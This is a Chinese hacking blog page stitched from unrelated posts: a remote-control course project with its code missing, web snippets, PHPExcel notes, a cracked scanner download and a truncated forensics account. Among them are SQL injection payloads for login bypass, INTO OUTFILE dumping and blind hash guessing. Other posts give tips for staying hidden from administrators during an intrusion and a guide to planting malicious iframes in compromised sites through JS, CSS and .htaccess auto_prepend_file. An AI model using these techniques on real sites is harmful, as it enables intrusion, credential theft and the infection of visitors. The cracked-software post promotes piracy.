自己动手编写简单远程控制

最近大大小小的考试陆续来到,每个人都忙的无暇估计其他,当然也包括兄弟俺。一系列考试复习就够让人头疼了,麻烦的是还有4个VC的课程设计(3个帮其他人做的),害俺不得不把出版社的稿子一拖再拖。

8号终于考试完了,从8号到10号晚上连续通宵了三天,11号晚上休息了一次,今天(12号)晚上又来通宵了,一直在赶出版社的稿子,今晚估计就能搞定了。

博客前段时间换了空间,已经好久没更新了,这期也没空给黑防写稿子了,好忙。刚刚又到新浪体育上看了下,结果不出以外地看到国家队和国奥队双双惨败,一个0:4,一个2:7,真够丢人的,唉。

看完新闻后也不知道有什么事情好做,就写篇文章吧,既然不能花太多时间来写。想想在VC课程设计中我选的题目是做一个简单的远程控制软件,只要实现客户端与服务端的连接和发送信息,并控制服务端实现鼠标控制、关机重启、屏幕截取等简单功能就可以了。

今天就把我做的过程写下来吧,给新手一些参考,软件是VC6.0,建立的是MFC工程,通信和线程等功能实现均直接调用API,对控件的处理使用了相关类。

首先讲一下两方的通信过程:服务端启动后就进行监听,客户端主动连接服务端,连接成功后为其建立一个线程接收控制命令并进行处理。

下面讲解客户端的实现。
客户端的功能其实很简单,只要连接上服务端后就基本什么不用做了,当用户点击“发送控制”按钮后根据控制选项构造不同的命令进行发送。
下面是连接服务端的代码:

 



 

下面是“发送控制”按钮的响应函数,本示例程序中只有三种基本功能:信息发送(使对方弹出一个对话框,显示您所发送过去的信息)、系统控制(包括关机、重启、截获屏幕、弹出/关闭光驱5个子功能)、鼠标控制(包括随机移动、禁用输入、交换左右键3个子功能)。我使用了三个单选框来确定是哪类基本类型的控制,下拉框来进行子功能选择。因此每次控制要发送两次控制,第一次确定基本功能,第二次确定子功能。

 



 

下面再贴一段如何使服务端截获到的屏幕图像显示在picture控件中,因为时间比较紧张,我没有把图像传输这一块儿做好,就给偷了个懒,服务端截获到屏幕后直接保存在C盘根目录下,而控制端直接到该位置读取,哈哈,专门跟老师说了下,老师考虑到时间限制就放我了一马,其实就是用某些编码算法将图片压缩一下就可以了,例如JPEG,懒得弄了。

 



 

下面来看服务端,老规矩,先来看监听的函数。

 



 

接下来就是三个处理函数了,全部贴出来。注意这几个函数都要定义成全局的,不要定义成类的成员函数,那样的话在线程函数里面访问不到。

 




最后把一些函数的详细过程贴出来。

 


复制到剪贴板代码

 
<script type=”text/javascript”>
<!–
function copyToClipboard(txt)
{
 if(window.clipboardData)
 {
  window.clipboardData.clearData();
  window.clipboardData.setData(“Text”, txt);
  alert(“复制成功!”);
 }
 else if(navigator.userAgent.indexOf(“Opera”) != -1)
 {
  window.location = txt;
 }
 else if(window.netscape)
 {
  try
  {
   netscape.security.PrivilegeManager.enablePrivilege(“UniversalXPConnect”);
  }
  catch(e)
  {
   alert(“被浏览器拒绝!\n请在浏览器地址栏输入’about:config’并回车\n然后将’signed.applets.codebase_principal_support’设置为’true'”);
  }
  var clip = Components.classes[‘@mozilla.org/widget/clipboard;1’].createInstance(Components.interfaces.nsIClipboard);
  if (!clip)
  return;
  var trans = Components.classes[‘@mozilla.org/widget/transferable;1’].createInstance(Components.interfaces.nsITransferable);
  if (!trans)
  return;
  trans.addDataFlavor(‘text/unicode’);
  var str = new Object();
  var len = new Object();
  var str = Components.classes[“@mozilla.org/supports-string;1”].createInstance(Components.interfaces.nsISupportsString);
  var copytext = txt;
  str.data = copytext;
  trans.setTransferData(“text/unicode”,str,copytext.length*2);
  var clipid = Components.interfaces.nsIClipboard;
  if (!clip)
  return false;
  clip.setData(trans,null,clipid.kGlobalClipboard);
  alert(“复制成功!”);
 }
}
//–>
</script>
其实不用这么麻烦的
window.clipboardData.setData(‘text’, this.innerText);
就可以了
 

一句话让iframe自适应高度

在要自适应的“IFRAME”中加入:
onload=”this.height = document.frames(‘IFRAME_name’).document.body.scrollHeight;”
例:
<IFRAME name=”main” src=”” frameBorder=0 width=”580″ height=”300″ ōnload=”this.height = document.frames(‘main’).document.body.scrollHeight;”></IFRAME>

PHPExcel常用方法汇总

来源:http://blog.csdn.net/zeali/archive/2008/02/27/2124984.aspx
PHPExcel 是相当强大的 MS Office Excel 文档生成类库,当需要输出比较复杂格式数据的时候,PHPExcel 是个不错的选择。不过其使用方法相对来说也就有些繁琐。列举以记之。
 
[language=PHP]
<?  
//设置PHPExcel类库的include path  
set_include_path(‘.’. PATH_SEPARATOR .  
                 ‘D:\Zeal\PHP_LIBS’ . PATH_SEPARATOR .  
                 get_include_path());  
 
/** 
 * 以下是使用示例,对于以 //// 开头的行是不同的可选方式,请根据实际需要 
 * 打开对应行的注释。 
 * 如果使用 Excel5 ,输出的内容应该是GBK编码。 
 */ 
require_once ‘PHPExcel.php’;  
 
// uncomment  
////require_once ‘PHPExcel/Writer/Excel5.php’;    // 用于其他低版本xls  
// or  
////require_once ‘PHPExcel/Writer/Excel2007.php’; // 用于 excel-2007 格式  
 
// 创建一个处理对象实例  
$objExcel = new PHPExcel();  
 
// 创建文件格式写入对象实例, uncomment  
////$objWriter = new PHPExcel_Writer_Excel5($objExcel);    // 用于其他版本格式  
// or  
////$objWriter = new PHPExcel_Writer_Excel2007($objExcel); // 用于 2007 格式  
//$objWriter->setOffice2003Compatibility(true);  
 
//*************************************  
//设置文档基本属性  
$objProps = $objExcel->getProperties();  
$objProps->setCreator(“Zeal Li”);  
$objProps->setLastModifiedBy(“Zeal Li”);  
$objProps->setTitle(“Office XLS Test Document”);  
$objProps->setSubject(“Office XLS Test Document, Demo”);  
$objProps->setDescription(“Test document, generated by PHPExcel.”);  
$objProps->setKeywords(“office excel PHPExcel”);  
$objProps->setCategory(“Test”);  
 
//*************************************  
//设置当前的sheet索引,用于后续的内容操作。  
//一般只有在使用多个sheet的时候才需要显示调用。  
//缺省情况下,PHPExcel会自动创建第一个sheet被设置SheetIndex=0  
$objExcel->setActiveSheetIndex(0);  
 
 
$objActSheet = $objExcel->getActiveSheet();  
 
//设置当前活动sheet的名称  
$objActSheet->setTitle(‘测试Sheet’);  
 
//*************************************  
//设置单元格内容  
//  
//由PHPExcel根据传入内容自动判断单元格内容类型  
$objActSheet->setCellValue(‘A1’, ‘字符串内容’);  // 字符串内容  
$objActSheet->setCellValue(‘A2’, 26);            // 数值  
$objActSheet->setCellValue(‘A3’, true);          // 布尔值  
$objActSheet->setCellValue(‘A4’, ‘=SUM(A2:A2)’); // 公式  
 
//显式指定内容类型  
$objActSheet->setCellValueExplicit(‘A5’, ‘847475847857487584’,   
                                   PHPExcel_Cell_DataType::TYPE_STRING);  
 
//合并单元格  
$objActSheet->mergeCells(‘B1:C22’);  
 
//分离单元格  
$objActSheet->unmergeCells(‘B1:C22’);  
 
//*************************************  
//设置单元格样式  
//  
 
//设置宽度  
$objActSheet->getColumnDimension(‘B’)->setAutoSize(true);  
$objActSheet->getColumnDimension(‘A’)->setWidth(30);  
 
$objStyleA5 = $objActSheet->getStyle(‘A5’);  
 
//设置单元格内容的数字格式。  
//  
//如果使用了 PHPExcel_Writer_Excel5 来生成内容的话,  
//这里需要注意,在 PHPExcel_Style_NumberFormat 类的 const 变量定义的  
//各种自定义格式化方式中,其它类型都可以正常使用,但当setFormatCode  
//为 FORMAT_NUMBER 的时候,实际出来的效果被没有把格式设置为”0″。需要  
//修改 PHPExcel_Writer_Excel5_Format 类源代码中的 getXf($style) 方法,  
//在 if ($this->_BIFF_version == 0x0500) { (第363行附近)前面增加一  
//行代码:   
//if($ifmt === ‘0’) $ifmt = 1;  
//  
//设置格式为PHPExcel_Style_NumberFormat::FORMAT_NUMBER,避免某些大数字  
//被使用科学记数方式显示,配合下面的 setAutoSize 方法可以让每一行的内容  
//都按原始内容全部显示出来。  
$objStyleA5 
    ->getNumberFormat()  
    ->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);  
 
//设置字体  
$objFontA5 = $objStyleA5->getFont();  
$objFontA5->setName(‘Courier New’);  
$objFontA5->setSize(10);  
$objFontA5->setBold(true);  
$objFontA5->setUnderline(PHPExcel_Style_Font::UNDERLINE_SINGLE);  
$objFontA5->getColor()->setARGB(‘FF999999’);  
 
//设置对齐方式  
$objAlignA5 = $objStyleA5->getAlignment();  
$objAlignA5->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_RIGHT);  
$objAlignA5->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);  
 
//设置边框  
$objBorderA5 = $objStyleA5->getBorders();  
$objBorderA5->getTop()->setBorderStyle(PHPExcel_Style_Border::BORDER_THIN);  
$objBorderA5->getTop()->getColor()->setARGB(‘FFFF0000’); // color  
$objBorderA5->getBottom()->setBorderStyle(PHPExcel_Style_Border::BORDER_THIN);  
$objBorderA5->getLeft()->setBorderStyle(PHPExcel_Style_Border::BORDER_THIN);  
$objBorderA5->getRight()->setBorderStyle(PHPExcel_Style_Border::BORDER_THIN);  
 
//设置填充颜色  
$objFillA5 = $objStyleA5->getFill();  
$objFillA5->setFillType(PHPExcel_Style_Fill::FILL_SOLID);  
$objFillA5->getStartColor()->setARGB(‘FFEEEEEE’);  
 
//从指定的单元格复制样式信息.  
$objActSheet->duplicateStyle($objStyleA5, ‘B1:C22’);  
 
 
//*************************************  
//添加图片  
$objDrawing = new PHPExcel_Worksheet_Drawing();  
$objDrawing->setName(‘ZealImg’);  
$objDrawing->setDescription(‘Image inserted by Zeal’);  
$objDrawing->setPath(‘./zeali.net.logo.gif’);  
$objDrawing->setHeight(36);  
$objDrawing->setCoordinates(‘C23’);  
$objDrawing->setOffsetX(10);  
$objDrawing->setRotation(15);  
$objDrawing->getShadow()->setVisible(true);  
$objDrawing->getShadow()->setDirection(36);  
$objDrawing->setWorksheet($objActSheet);  
 
 
//添加一个新的worksheet  
$objExcel->createSheet();  
$objExcel->getSheet(1)->setTitle(‘测试2’);  
 
//保护单元格  
$objExcel->getSheet(1)->getProtection()->setSheet(true);  
$objExcel->getSheet(1)->protectCells(‘A1:C22’, ‘PHPExcel’);  
 
 
//*************************************  
//输出内容  
//  
$outputFileName = “output.xls”;  
//到文件  
////$objWriter->save($outputFileName);  
//or  
//到浏览器  
////header(“Content-Type: application/force-download”);  
////header(“Content-Type: application/octet-stream”);  
////header(“Content-Type: application/download”);  
////header(‘Content-Disposition:inline;filename=”‘.$outputFileName.'”‘);  
////header(“Content-Transfer-Encoding: binary”);  
////header(“Expires: Mon, 26 Jul 1997 05:00:00 GMT”);  
////header(“Last-Modified: ” . gmdate(“D, d M Y H:i:s”) . ” GMT”);  
////header(“Cache-Control: must-revalidate, post-check=0, pre-check=0”);  
////header(“Pragma: no-cache”);  
////$objWriter->save(‘php://output’);  
 
?>
[/language]

Acunetix Web Vulnerability Scanner V5.1 破解版


 

信息来源:邪恶八进制信息安全团队(www.eviloctal.com

 

Acunetix Web Vulnerability Scanner V5.1


功能很好,很强大。就是操作界面比较复杂,需要时间摸索。

附件里是5.1版的破解文件,原版请到下面的地址去下载。
原版下载地址:http://www.skycn.com/soft/37545.html

下载好后,将破解文件放入安装文件同目录,破解后,输入任意注册码即可。经测试可以自动更新,大家爽吧!

 

 

 

下载地址:
破解补丁




Modified At 2008-06-01 02:30:03

php+mysql注射语句构造


 

 

作者:特洛伊剑客’s Blog


一.前言:

测试版本信息:Okphp BBS v1.3 开源版

由于PHP和MYSQL本身得原因,PHP+MYSQL的注射要比asp困难,尤其是注射时语句的构造方面更是个难点,本文主要是借对Okphp BBS v1.3一些文件得简单分析,来谈谈php+mysql注射语句构造方式,希望本文对你有点帮助。
  声明:文章所有提到的”漏洞”,都没有经过测试,可能根本不存在,其实有没有漏洞并不重要,重要的是分析思路和语句构造。

 

二.”漏洞”分析:

1.admin/login.php注射导致绕过身份验证漏洞:

代码:

 

$conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname);
$password = md5($password);
$q = “select id,group_id from $user_table where username=’$username’ and password=’$password'”;
$res = sql_query($q,$conn);
$row = sql_fetch_row($res);

$q = “select id,group_id from $user_table where username=’$username’ and password=’$password'”中
$username 和 $password 没过滤, 很容易就绕过。
对于select * from $user_table where username=’$username’ and password=’$password’这样的语句改造的方法有:

构造1(利用逻辑运算):$username=’ OR ‘a’=’a $password=’ OR ‘a’=’a

相当于sql语句:

select * from $user_table where username=” OR ‘a’=’a’ and password=” OR ‘a’=’a’
构造2(利用mysql里的注释语句# ,/* 把$password注释掉):$username=admin’#(或admin’/*)
即:

select * from $user_table where username=’admin’#’ and password=’$password'”
相当于:

select * from $user_table where username=’admin’
在admin/login.php中$q语句中的$password在查询前进行了md5加密所以不可以用构造1中的语句绕过。这里我们用构造

 

2:

select id,group_id from $user_table where username=’admin’#’ and password=’$password'”
相当于:

select id,group_id from $user_table where username=’admin’
只要存在用户名为admin的就成立,如果不知道用户名,只知道对应的id,
我们就可以这样构造:$username=’ OR id=1#
相当于:

select id,group_id from $user_table where username=” OR id=1# and password=’$password'(#后的被注释掉)
我们接着往下看代码:

if ($row[0]) {
// If not admin or super moderator
if ($username != “admin” && !eregi(“(^&#124;&)3($&#124;&)”,$row[1])) {
$login = 0;
}

else {
$login = 1;
}
}
// Fail to login—————
if (!$login) {
write_log(“Moderator login”,”0″,”password wrong”);
echo “<script>alert(‘login failed!’);history.go(-1);</script>”;
exit();
}
// Access ! ————-
else {
session_start();

最后简单通过一个$login来判断,我们只要ie提交直接提交$login=1 就可以绕过了 :)。

 

3.users/login.php注射导致绕过身份验证漏洞:
代码:

$md5password = md5($password);
$q = “select id,group_id,email from $user_table where username=’$username’ and password=’$md5password'”;
$res = sql_query($q,$conn);
$row = sql_fetch_row($res);

$username没过滤利用同1里注释掉and password=’$md5password'”;就绕过啦。

3.admin\log\list.php存在任意删除日志记录漏洞。(ps:这个好象和php+mysql注射无关,随便提一下)
okphp的后台好象写得很马虎,所有文件都没有判断管理员是否已经登陆,以至于任意访问。我们看list.php的代码:

$arr = array(“del_log”,”log_id”,”del_id”);
get_r($arr);
//
if ($del_log) {
省略……..
if ($log_id) {
foreach ($log_id as $val) {
$q = “delete from $log_table where id=’$val'”;
$res = sql_query($q,$conn);
if ($res) {
$i++;
}
}
}
elseif ($del_id) {
$q = “delete from $log_table where id=’$del_id'”;
$res = sql_query($q,$conn);
}
$tpl->setVariable(“message”,”$i log deleted ok!”);
$tpl->setVariable(“action”,”index.php?action=list_log”);
}

代码就只简单的用get_r($arr);判断的提交的参数,我们只要提交相应的$del_log,$log_id,$del_id。就回删除成功。

 

4.多个文件对变量没有过滤导致sql注射漏洞。
  okphp的作者好象都不喜欢过滤:)。基本上所有的sql语句中的变量都是”赤裸裸”的。具体那些文件我就不列出来了,请自己看代码,我这里就用\forums\list_threads.php为例子简单谈一下。

看list_threads.php的代码:

 

$q = “select name,belong_id,moderator,protect_view,type_class,theme_id,topic_num,faq_num,cream_num,recovery_num,post_num from $type_table where id=’$forum_id'”;
$res = sql_query($q,$conn);
$row = sql_fetch_row($res);

 

变量$forum_id没有过滤,因为mysql不支持子查询,我们可以利用union构造语句进行联合查询(要求MySQL版本在4.00以上)实现跨库操作,我们构造如下:

 

构造1:利用 select * FROM table INTO OUTFILE ‘/path/file.txt’(要求mysql有file权限,注意在win系统中要绝对路径,如:c://path//file.txt )。把所查询的内容输入到file.txt,然后我们可以通http://ip/path/file.txt来访问得到查询的结果。上面的我们可以这样构造$forum_id:

 

$forum_id=’ union select * from user_table into outfile ‘/path/file.txt’


以下:

$q = “select name,belong_id,moderator,protect_view,type_class,theme_id,topic_num,faq_num,cream_num,recovery_num,post_num from $type_table where id=’$forum_id’ union select * from user_table into outfile ‘/path/file.txt'”;


上面的办法要求比较苛刻,必须得到web的路径(一般可以通过提交错误的变量使mysql报错而得到),而且php的magic_gpc=on选项使注入中不能出现单引号。如果magic_gpc=on我们也可以绕过:

 

构造2:就象asp跨库查询一样,直接利用union select构造语句,使返回结果不同来猜解,这种方法可以绕过单引号(magic_gpc=on)继续注射,不过在php里这种注射相对困难,根据具体的代码而定。具体的语句构造请参考pinkeyes 的文章《php注入实例》。下面我就结合okphp给个利用”返回结果不同”注射的例子:(见漏洞5)。

5.admin/login.php和users/login.php通过sql语句构造可以猜解得到指定用户密码hash:(其实这个和漏洞1和2是同一个,这里单独拿出来,主要是说明语句构造的方法。)

 

问题代码同漏洞1。
语句的构造(ps:因为语句本身就是对用户库操作就没必要用union了):

$username=admin’ AND LENGTH(password)=6#
sql语句变成:

$q = “select id,group_id from $user_table where username=’admin’ AND LENGTH(password)=6#’ and password=’$password'”
相当于:

$q = “select id,group_id from $user_table where username=’admin’ AND LENGTH(password)=6′”
如果LENGTH(password)=6成立,则正常返回,如果不成立,mysql就会报错。

呵呵,这样我们就可以猜解用户admin密码hash了。如$username=admin’ ord(substring(password,1,1))=57#
可以猜用户的密码第一位的ascii码值…………。

 

三.后话:

  这篇文章是在网吧看代码写出来的,只是粗略的看了下代码,文章所提到的”漏洞”都没有经过测试。可能有的”漏洞”根本就不存在,也可能漏掉了不少东西,这些都不是很要紧,因为本文的重要目的是看php+mysql注射时的语句构造,通过本文,可以看出:虽然看起来php好象要比asp安全,不过一但变量没有过滤完全,php的注射要比asp注射更灵活,更多注射方法。 由于作者水平等原因,可能文章不少错误,还请多指点。




Modified At 2008-06-02 23:15:48

如何判定管理员是否在线

Inking注:我喜欢query user,人比较懒,什么方便用什么,而且自己做“坏事”时从来不小心的 ^o^
 
随着网络黑客工具的简单化和傻瓜化,越来越多的网络爱好者可以通过现成的攻击工具轻松的入侵主机,然而谁也不想在管理员的眼皮底下做入侵,所以在入侵成功以后,一个很重要的事情是:你能不能确认你的行为在别人的监视之下?所以我们首先要知道管理员是不是现在正在你入侵的主机上?
如何判定管理员在线,我们要知道的是管理员是通过什么方式管理主机的:是pcanywhere、vnc、DameWar、终端服务、ipc、telnet还是本地登陆···
一、对于用第三方的控屏工具(pcanywhere、vnc、DameWar等),你只要看相应端口有没有状态为”ESTABLISHED”的连接。一个netstat -an就可以知道,如果想查看与端口相关的进程,使用Fport.exe就可以了。比如我们在一台主机上使用netstat -an发现如下的信息:
Active Connections
Proto Local Address Foreign Address State
TCP lin:1755 lin:telnet ESTABLISHED
TCP lin:1756 lin:netbios-ssn ESTABLISHED
TCP lin:1758 202.103.243.105:http TIME_WAIT
TCP lin:1764 202.103.243.105:http TIME_WAIT
TCP lin:6129 lin:1751 ESTABLISHED
使用Fport.exe得到如下的信息:
Pid Process Port Proto Path
528 mysqld-nt -> 3306 TCP D:\mysql\bin\mysqld-nt.exe
1328 DWRCS -> 6129 TCP C:\WINNT\SYSTEM32\DWRCS.EXE ---这个是DameWare Mini Remote Control服务
8 System -> 138 UDP
248 lsass -> 500 UDP C:\WINNT\system32\lsass.exe
------从这个可以看出,管理员是通过DameWare Mini Remote Control来管理现在的主机,连接的端口是6129。同样如果管理员使用其他的控屏工具,比如pcanywhere、vnc我们也是可以通过netstat -an查看端口连接的情况。
 
  二、对于从本地或终端服务登陆的,看看有几个winlogon进程,我们可以使用的工具是PSTOOLS的PULIST.EXE,它能够查看本机的所用正在运行的进程。然后单凭有几个winlogon进程也很难判定在线的是不是管理员,因为一般用户和管理员都是通过图形界面登陆的,身份验证都是在GINA(GINA – Graphical Identification andAuthentication图形标识和身份验证)中进行,而GINA又和Winlogon进程紧密相关,所以查看有几个winlogon进程只能知道当前有几个用户登陆主机。这个办法也是给一个参考而已吧,给一个例子,这样应该好理解一点:
在主机上运行pulist.exe(至于如何才能在主机上运行pulist.exe,我想这个问题也不用说了吧),进程情况:
PID Path
0 [Idle Process]
8 [System]
160 \SystemRoot\System32\smss.exe
184 \??\C:\WINNT\system32\csrss.exe
208 \??\C:\WINNT\system32\winlogon.exe ----这个
680 C:\WINNT\System32\svchost.exe
404 C:\WINNT\Explorer.EXE
1088 \??\C:\WINNT\system32\csrss.exe
1084 \??\C:\WINNT\system32\winlogon.exe ----还有这个
在这个上面我们发现了有二个的winlogon.exe,就可以知道目前有2个用户通过本地或终端服务登陆主机,结合上面说的判定方法,使用netstat 查看TCP端口连接:
Num LocalIP Port RemoteIP PORT Status
10 192.168.0.1 3389 192.168.2.1 1071 Established ----终端的
可以看出使用的是终端3389连接。
 
  三、对于用telnet登陆的,telnet的登陆不是通过winlogon来管理的,还是看相应端口的连接吧,我们知道的是一般情况下telnet使用23端口连接,通过netstat -an可能很清楚的看出23端口有没有打开:
C:\>netstat -an
Active Connections
Proto Local Address Foreign Address State
TCP 127.0.0.1:23 127.0.0.1:1030 ESTABLISHED
TCP 127.0.0.1:1030 127.0.0.1:23 ESTABLISHED
我们也可以通过上面的方法查看相应的进程,比如我们使用FPORT.EXE是得到如下的信息:
E:\HACK>fport
FPort v2.0 – TCP/IP Process to Port Mapper
Copyright 2000 by Foundstone, Inc.
http://www.foundstone.com
Pid Process Port Proto Path
660 inetinfo -> 21 TCP C:\WINNT\System32\inetsrv\inetinfo.exe
1112 tlntsvr -> 23 TCP C:\WINNT\system32\tlntsvr.exe
660 inetinfo -> 80 TCP C:\WINNT\System32\inetsrv\inetinfo.exe
416 svchost -> 135 TCP C:\WINNT\system32\svchost.exe
660 inetinfo -> 443 TCP C:\WINNT\System32\inetsrv\inetinfo.exe
8 System -> 1028 TCP
408 telnet -> 1030 TCP C:\WINNT\system32\telnet.exe
从上面的信息可以知道23端口对应的正是telnet服务tlntsvr.exe。
 
  四、通过IPC$管道进行管理,这个可以通过WINDOWS NT系统内置的工具NET SESSION,它的作用是列出或断开连接本地计算机和与它连接的客户之间的会话。
下面给出一个结果:
E:\HACK>net session
计算机 用户名 客户类型 打开空闲时间
——————————————————————————-
\\LIN LINYUN Windows 2000 2195 0 00:08:47
命令成功完成。
从这个上面我们就可以看出当前有一个用户名为LIYUN的用户登陆主机LIN。在这里给大家推荐一个比较好的工具——PSTOOLS里面的psloggedon.exe,它不仅能列出使用IPC$登陆的用户,而且能列出本地登陆的用户。
E:\Pstools\Pstools>psloggedon.exe
PsLoggedOn v1.21 – Logon Session Displayer
Copyright (C) 1999-2000 Mark Russinovich
SysInternals – _blank>www.sysinternals.com
Users logged on locally:
2004-*-* 14:33:38 LIN\Administrator -----这个是本地登陆的用户administrator
Users logged on via resource shares:
2004-*-* 14:41:04 LIN\LINYUN -----这个是使用IPC$连接的用户LINYUN
 
  如何判定管理员是否在线是一个比较深入的话题,上面说的仅仅是提供一个思路,当然了,如果管理员登陆了,却锁定了主机,或者正在运行屏幕保护程序,这一些就都不好说了!有矛必有盾,我们既然能通过各种的方式判定管理员是不是在线,同样,管理员也能通过这样的途径知道自己是否被入侵,从而尽快的查出入侵者,所以请广大的网络爱好者不要以身试法,入侵国内主机。

突破权限继续挂马

文章作者:Inking
个人主页:http://www.inkings.cn
 
        写这篇文章的目的主要是因为自己在为刚开的博客刷点流量时遇到了点困难,所以就花了点时间想了下这个问题,既然想了下,所以就干脆梳理出来写成文章,也许对刚刚接触这块的同志们会起到点作用吧。
        首先讲一下挂马要挂到哪里。讲到挂马,很多人会不由自主的想到“首页挂马”,一想到首页就想到index.*文件了,当然这不失为一个好办法,首页的浏览量通常是最大的,但是这绝对不是一个最优的办法。也有的人说干脆批量挂马,针对这种思想我无任何话说。我们仔细想一想,哪个东西在网站出现的概率是最大的,呵呵当然是header了(网站的最顶部,通常用于放置logo等),其次便是foot和sidebar了,按照HTML的执行顺序(从上到下),最好的办法就是挂在header里面了,所以挂马时先针对网站的特点,找一个最好的对策来进行挂马。此外像global.*、config.*这类网页文件也是一个好地方,被其他网页调用的概率极大。
 
        解决了挂马地方的问题后我们要着重讨论如何针对管理员设置的权限进行挂马,这些方法很多人应该都在用,我只是针对自己所学的知识进行梳理。一般来说挂马的方式有两种,一种是直接往要挂的网页文件里插入一个iframe标签,还有一种是用js的document.write写入一个iframe标签。我们首先讨论js挂马。js挂马最好的一个优点是隐蔽,因为管理员无法直接通过搜索找到iframe标签,而且我们可以针对插入的js代码进行加密,这样隐藏的效率就更高了。在这篇文章里我们并不是利用js的隐蔽性,而是它的自由性——js可以从任何一个可访问的网站被调用。在我昨天遇到的情况里就是利用这个办法。我想去挂对方的index.php和header.php两个文件,但是发现所以的php脚本文件都被设置了不可改权限,所以直接想改写该文件是不可能了,我只能通过其调用的文件进行挂马。通过阅读源代码,发现程序员调用了很多的js文件,所以我便一个个去找,然后找到两个没有被限定权限的js文件,其中一个文件是站长流量统计的,由于统计代码在整站都是会被调用的,结果改写了仅仅一个js文件,整个网站的所有网页都被挂上去了,而且其它子域的网页也被挂上,当然这几个域的网页是不在这台服务器上的,js的优点瞬间体现了出来。这也是利用了管理员的疏忽——只设定php文件的权限。
 
        联想到我的实例,大家很容易想到类似的方式——css文件。css文件被调用的概率应该说比js还大,一个网站的模型一般只有一个,那么肯定有一个主要的css文件了,而css文件又具有执行js代码的能力,而且这种文件的权限更难被管理员关注到,隐蔽性也非常之好,所以其可行性最高了。css挂马的代码为:
 
body{background:url(javascript:document.write(“<iframe></iframe>”))}
 
        代码可以有多种形式,具体大家自己去学习了
 
        但是如果真个目录都被限制了呢,但是我们想到有一个目录一般来说是不会被限制写入权限的——img目录。假如说这个目录里面有flash文件的话,而且这个flash文件又是网站的顶部显示部分,那么我们便可以大喜了。我们可以将flash文件下载下来,然后编辑里面的代码,写入我们的挂马代码,然后替换掉原来的flash文件就行了。具体如何写代码就不讲了。再如果这个网站是一个图片类网站,我们找到某张被下载概率最大的图片,编辑它,插入我们的js代码(当然不是随便插代码就行的,随便插的话图片会无法显示),然后等用户在其它窗口打开图片时我们的js代码就执行了。但是这样的方式并不是很好,一个是窗口存活的时间短,还没等木马被下载窗口已经关闭了,还有一个是被打开的概率不是很大,太被动了。这只是一直思路而已
 
以上都是js或者类似js挂马的方式,大家还可以针对实际情况进行发散。下面是服务端脚本挂马了。最简单的就是看要挂的文件include了哪几个脚本文件,假如说被inlude的文件没有被设权的话可以插入我们的代码,比如PHP的话这样写:
echo “<iframe ></iframe>”;
 
        一般来说像global、config这类的文件被其它网页include的概率大,但是像挂这类文件你需要十分小心,因为如果该文件或者include它的文件里面有header或者session操作的话很可能会导致错误,结果被管理员发现了。
 
        但是如果php、asp这类文件像我遇到的情况被设置权限了呢?在php里有一个特性,.htaccess会覆盖apache的php.ini的设置,但是这个需要打开apache的AllowOverride All功能,但是这样对于我们来说太烦了。我们只要在这个网站里面找一下有没有.htaccess文件,如果有的话而且文件夹允许我们上传新的文件,那么我们很可能会成功了。具体的利用如下:
 
在我们电脑上添加一个.htaccess文件(需要dos下对txt文件重命名)
然后用记事本编辑它,写入如下代码:
php_value auto_prepend_file “要include的文件名”
 
然后将这个文件和”要include的文件名”放到相应的目录下,这样该目录以及子目录都被会include该文件。在”要include的文件名”里可以这样写
 
<?
ob_start();//这句话千万不能少,要不很可能会因为head和session而导致错误
echo “<iframe></iframe>”;
?>
 
        同样在asp和iis下也有类似方法,参见我的博客:http://www.inkings.cn/blog/?p=106
 
        还有一种方法是直接通过数据库insert或者update一个框架。既然我们一般的入侵方式都是从数据库开始的,这种方式当然是很好的,就算管理员再怎么严格的设定硬盘权限,他也挡不住数据库里的内容。我们可以到首页看一下,找到一篇文章ID,然后update进去一个框架,具体如何update那是你自己的事情了呵呵。

真实的网络攻击取证纪实

 
作者:诚信网安–子明
随着信息技术的发展,越来越多的人都喜欢用计算机办公,发邮件,建设自己的个人站点,公司建立自己的企业站点,政府也逐渐的采取了网上办公,更好的为人民服务,银行和证券机构也都开始依托互联网来进行金融和股票交易,但是随着方便的同时也同时带来了新的一些计算机网络安全隐患,随着司法机关的介入,我相信在不久的将来,网络攻击调查取证也会成为立法机构必须要考虑设立的一门新的学科,目前来说开设这个的课程多在网络警察和一些特殊机关,现在我来给大家讲下我亲身经历并参与完成的一次取证过程,用事实来讲述;
我一直从事病毒分析,网络攻击响应相关的工作,这次应好朋友的邀请,帮忙配合去协查几台服务器,我们来到了某XXX驻地,首先进行例行检查。经过了 1天左右的时间的检查,其中用到了一些专用设备也包含自主编写的工具以及第三方提供的勘察取证软件,共发现问题主机服务器10台,其中2台比较严重,(以下用A服务器和B服务器来代替)和朋友商定后,决定带回我们的实验室,进行专项深入分析。
习惯的检查步骤操作:
服务器操作系统版本信息——>操作系统补丁安装情况——>操作系统安装时间,中间有没有经过进行重新安装——>服务器维护情况——>服务器上面安装的软件版本信息
日志检查——IDS日志信息/IIS日志信息/系统日志信息
网站代码审查——是否存在一句话木马,源代码上是否存在恶意代码插入
杀毒软件版本更新情况——是否是最新版本,配置的是否合理,配套的监视是否全部打开
数据恢复——>利用专用数据恢复软件进行数据恢复,恢复一些被删除的日志信息和系统信息,曾经安装过的文件操作信息。
提取可疑文件(病毒、木马、后门、恶意广告插件)——在系统文件目录利用第三方或者自开发软件,对可疑文件进行提取并进行深度分析。
上述步骤是我个人总结的,有不妥的地方还请朋友们指正,介绍完理论,我们来实践处理下这两台服务器。
A服务器检查处理过程
该A服务器所装的操作系统是Advanced 2000 server,服务器上安装的有瑞星2008杀毒软件,病毒库已经更新到最新版本。但是并没有安装网络防火墙和其他系统监视软件,安装的ftp服务器版本为server-u 6.0(存在溢出攻击的威胁)
 
一、对原始数据进行恢复
利用Datarecover软件来恢复一些被删除的文件,目的是希望从被删除的文件来找出一些木马或者后门以及病毒。进行深度分析,把曾经做过的格式化,以及在回收站中删除过的文件恢复过来,但是遗憾的是成功拿下这台服务器权限的黑客已经做了专业处理,把他的一些痕迹进行了全面清理,个人认为他使用了日本地下黑客组织开发的专项日志清除工具,经过我和助手的共同努力还是把系统日志恢复到当年5月份。
 
二、手工分析可疑文件
